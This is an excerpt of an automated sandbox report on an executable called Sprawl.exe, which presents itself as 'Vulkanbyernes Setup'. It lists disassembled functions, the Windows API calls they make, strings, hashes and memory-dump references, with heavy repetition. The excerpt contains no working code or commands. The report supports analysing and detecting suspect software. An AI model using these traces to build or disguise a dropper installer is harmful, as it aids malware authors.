Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 458389e1991e1a908742f437881805813113f4244f4ccb02aaaba390b89fa544
Instruction ID: 6a3e57155666377f6ae5a5c5a230e2cf9c2db004969d7e98ca1d37c028e4fb03
Opcode Fuzzy Hash: 458389e1991e1a908742f437881805813113f4244f4ccb02aaaba390b89fa544
Instruction Fuzzy Hash: A2D05B33B14100DBDB10EBE5DF08A9D73A5BB60329B308637D201F21D1D7B9C9559B29

Function 00403F60 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00020410,00000000,00000000,00000000), ref: 00403F72

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1e62087203bf6f43f0c9384ee7a624a046e3022ab191d81d5448d2709a656daf
Instruction ID: 75b6af85c7b4550c46e72781509667ec0f8baecc0ee27a44b040c7e6c7b1aa08
Opcode Fuzzy Hash: 1e62087203bf6f43f0c9384ee7a624a046e3022ab191d81d5448d2709a656daf
Instruction Fuzzy Hash: 1FC04875B88201BAEE218B609D4AF167BA8AB60B42F258429B211E60E0C674F410DA2D

Function 00403F49 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000028,?,00000001,00403D7A), ref: 00403F57

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d71ad897c2f2d45ed447b95b395c8a164bb0c93204989444b513c5694a0ce339
Instruction ID: 9ba269cb94747afcd00db45940492297b6475019a1e9eeef8f710f25602b24aa
Opcode Fuzzy Hash: d71ad897c2f2d45ed447b95b395c8a164bb0c93204989444b513c5694a0ce339
Instruction Fuzzy Hash: 71B01235684200BBFE325B00DE0DF457E62F768701F008034B300250F1C7B200A2DB29

Function 00405509 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetDlgItemTextA.USER32(?,?,00000400,0040450E), ref: 0040551C

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: 318c761e7d03a4792b39f91a0403b49a68554c31ad0ac7f657822979c07e75a0
Instruction ID: 5bc079f376c4397dc27e91e65bfdd94062f5f07280b0cdba8df2e4a8c8164f3b
Opcode Fuzzy Hash: 318c761e7d03a4792b39f91a0403b49a68554c31ad0ac7f657822979c07e75a0
Instruction Fuzzy Hash: 13B0927A908200BFCE025B40DD04E0ABF62BB98711F21C424F395640B086726022EB0A

Function 004030C7 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E2D,?), ref: 004030D5

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Non-executed Functions

Function 00405086 Relevance: 54.3, APIs: 36, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004050E5
GetDlgItem.USER32(?,000003EE), ref: 004050F4
GetClientRect.USER32(?,?), ref: 00405131
GetSystemMetrics.USER32(00000002), ref: 00405138
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405159
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 0040516A
SendMessageA.USER32(?,00001001,00000000,?), ref: 0040517D
SendMessageA.USER32(?,00001026,00000000,?), ref: 0040518B
SendMessageA.USER32(?,00001024,00000000,?), ref: 0040519E
ShowWindow.USER32(00000000,?,0000001B,?), ref: 004051C0
ShowWindow.USER32(?,00000008), ref: 004051D4
GetDlgItem.USER32(?,000003EC), ref: 004051F5
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 00405205
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 0040521E
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 0040522A
GetDlgItem.USER32(?,000003F8), ref: 00405103

Part of subcall function 00403F49: SendMessageA.USER32(00000028,?,00000001,00403D7A), ref: 00403F57

GetDlgItem.USER32(?,000003EC), ref: 00405246
CreateThread.KERNEL32(00000000,00000000,Function_0000501A,00000000), ref: 00405254
CloseHandle.KERNEL32(00000000), ref: 0040525B
ShowWindow.USER32(00000000), ref: 0040527E
ShowWindow.USER32(?,00000008), ref: 00405285
ShowWindow.USER32(00000008), ref: 004052CB
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004052FF
CreatePopupMenu.USER32 ref: 00405310
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405325
GetWindowRect.USER32(?,000000FF), ref: 00405345
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040535E
SendMessageA.USER32(?,0000102D,00000000,?), ref: 0040539A
OpenClipboard.USER32(00000000), ref: 004053AA
EmptyClipboard.USER32 ref: 004053B0
GlobalAlloc.KERNEL32(00000042,?), ref: 004053B9
GlobalLock.KERNEL32(00000000), ref: 004053C3
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004053D7
GlobalUnlock.KERNEL32(00000000), ref: 004053F0
SetClipboardData.USER32(00000001,00000000), ref: 004053FB
CloseClipboard.USER32 ref: 00405401

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID:
API String ID: 590372296-0
Opcode ID: 3d83c7054a3b30a9ea95d535bbc07a084d735a6ee6b89b99bed3655396955496
Instruction ID: a6ce54ef4cbaee69b9623da841507b5c48c0df4ae21fd636639bbbe11a9743ae
Opcode Fuzzy Hash: 3d83c7054a3b30a9ea95d535bbc07a084d735a6ee6b89b99bed3655396955496
Instruction Fuzzy Hash: 8EA13871900208BFEB119FA0DD89AAE7F79FB08355F10407AFA01BA1A0C7755E51DF69

Function 0040205E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 139comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407514,?,00000001,00407504,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 004020DD
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,?,00000400,?,00000001,00407504,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402189

Strings

C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian, xrefs: 0040211D

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: C:\Users\user\AppData\Roaming\underarmsmusklens\Edriophthalmian
API String ID: 123533781-1369816015
Opcode ID: b8ee83f4a2e520ff4dab12eb385b74956a589b44baa30f4280110cf77b52f418
Instruction ID: 202bff00353f62e800299527826cf24c9a9ce8e01df6a73eade79aa1dd8fb932
Opcode Fuzzy Hash: b8ee83f4a2e520ff4dab12eb385b74956a589b44baa30f4280110cf77b52f418
Instruction Fuzzy Hash: 16512775A00208BFCF10DFA4CD88A9DBBB5BF48318F20856AF615EB2D1DA799941CB14

Function 00402688 Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 00402697

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: fcbf5a8c9ec62e423337e2823bce3077c6823eab4788f95c2f9143772be47a2f
Instruction ID: 3dffafe4ea1a5cbb8d5ba181f96d08faa62a405c2aca3b81b81ef469795ec413
Opcode Fuzzy Hash: fcbf5a8c9ec62e423337e2823bce3077c6823eab4788f95c2f9143772be47a2f
Instruction Fuzzy Hash: 7AF0A0326081049FE701EBA49949AEEB7789F21324F60057BE241A21C1D7B84985AB3A

Function 004064CB Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e604220aa4cc57a0d507a3eee92e1260e78aef2c865a073fe0bf8dde490b4c6a
Instruction ID: 52966d4a0c143cd855de3d8d32e2f948802446bd43c2bd9d1e79afe7cfa9a62c
Opcode Fuzzy Hash: e604220aa4cc57a0d507a3eee92e1260e78aef2c865a073fe0bf8dde490b4c6a
Instruction Fuzzy Hash: D1E19B71901709DFDB24CF58C890BAABBF5FB44305F15882EE497A72D1D378AA91CB14

Function 00406CA2 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5f7cd6dd9e448d1ceba1cbc86ba17909bb361cdcfc346b133718b62247df967
Instruction ID: 28dd1b742c6822d911ebb92dd847779981f1f79bff0408386317dd500df5852d
Opcode Fuzzy Hash: c5f7cd6dd9e448d1ceba1cbc86ba17909bb361cdcfc346b133718b62247df967
Instruction Fuzzy Hash: 53C12971A0021A8BCF18CF68D5905EEB7B2FF99314F26827AD85677380D734A952CF94

Function 0040405D Relevance: 44.0, APIs: 20, Strings: 5, Instructions: 205windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(00000000,-0000040A,00000001), ref: 004040E8
GetDlgItem.USER32(00000000,000003E8), ref: 004040FC
SendMessageA.USER32(00000000,0000045B,00000001,00000000), ref: 0040411A
GetSysColor.USER32(?), ref: 0040412B
SendMessageA.USER32(00000000,00000443,00000000,?), ref: 0040413A
SendMessageA.USER32(00000000,00000445,00000000,04010000), ref: 00404149
lstrlenA.KERNEL32(?), ref: 0040414C
SendMessageA.USER32(00000000,00000435,00000000,00000000), ref: 0040415B
SendMessageA.USER32(00000000,00000449,?,00000110), ref: 00404170
GetDlgItem.USER32(?,0000040A), ref: 004041D2
SendMessageA.USER32(00000000), ref: 004041D5
GetDlgItem.USER32(?,000003E8), ref: 00404200
SendMessageA.USER32(00000000,0000044B,00000000,00000201), ref: 00404240
LoadCursorA.USER32(00000000,00007F02), ref: 0040424F
SetCursor.USER32(00000000), ref: 00404258
ShellExecuteA.SHELL32(0000070B,open,0042D3A0,00000000,00000000,00000001), ref: 0040426B
LoadCursorA.USER32(00000000,00007F00), ref: 00404278
SetCursor.USER32(00000000), ref: 0040427B
SendMessageA.USER32(00000111,00000001,00000000), ref: 004042A7
SendMessageA.USER32(00000010,00000000,00000000), ref: 004042BB

Strings

N, xrefs: 004041EE
open, xrefs: 00404263
(@@, xrefs: 00404260
Space available: , xrefs: 0040422B
(N, xrefs: 0040407D

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: (@@$(N$N$Space available: $open
API String ID: 3615053054-1322021202
Opcode ID: 7868d9df4ae1d674ab0cf3f1043cffc922edae777938ca354114bc27cd0f8479
Instruction ID: c92d02d703ef172067c6e48558b1c194508f37b8d1d7228abd04d5231d4a861f
Opcode Fuzzy Hash: 7868d9df4ae1d674ab0cf3f1043cffc922edae777938ca354114bc27cd0f8479
Instruction Fuzzy Hash: 5461D3B1A40209BFEB109F21DC45F6A7B68FB44755F10807AFB00BA2D1C7B8A951CB98

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,Vulkanbyernes Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
Vulkanbyernes Setup, xrefs: 00401150

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000442000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000446000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180304293.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Sprawl.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Vulkanbyernes Setup
API String ID: 941294808-807586904
Opcode ID: 743dd018db8a108fdfb55826faff2fb237305abb1c3a72422579a1c27d61dc24
Instruction ID: 9af9226455e7fa8211e54ab4aa6b8deb1f4adf461e7c9b231a43246ca388c9df
Opcode Fuzzy Hash: 743dd018db8a108fdfb55826faff2fb237305abb1c3a72422579a1c27d61dc24
Instruction Fuzzy Hash: F0419B71804249AFCB058FA5CD459AFBBB9FF44310F00812AF961AA1A0C738EA51DFA5

Function 00405A78 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131stringmemoryCOMMON

Download Yara Rule

APIs

lstrcpyA.KERNEL32(0042B5F8,NUL,?,00000000,?,00000000,00405C0B,?,?), ref: 00405A87
CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,00405C0B,?,?), ref: 00405AAB
GetShortPathNameA.KERNEL32(?,0042B5F8,00000400), ref: 00405AB4

Part of subcall function 00405907: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405917
Part of subcall function 00405907: lstrlenA.KERNEL32(00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405949

GetShortPathNameA.KERNEL32(0042B9F8,0042B9F8,00000400), ref: 00405AD1
wsprintfA.USER32 ref: 00405AEF
GetFileSize.KERNEL32(00000000,00000000,0042B9F8,C0000000,00000004,0042B9F8,?,?,?,?,?), ref: 00405B2A
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405B39
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B71
SetFilePointer.KERNEL32(004093B0,00000000,00000000,00000000,00000000,0042B1F8,00000000,-0000000A,004093B0,00000000,[Rename],00000000,00000000,00000000), ref: 00405BC7
GlobalFree.KERNEL32(00000000), ref: 00405BD8
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00405BDF

Part of subcall function 004059A2: GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\Sprawl.exe,80000000,00000003), ref: 004059A6
Part of subcall function 004059A2: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059C8

Strings

NUL, xrefs: 00405A81
[Rename], xrefs: 00405B59, 00405B6B
%s=%s, xrefs: 00405AE5

Memory Dump Source

Source File: 00000000.00000002.2179993497.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2179976731.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180046527.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2180069644.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
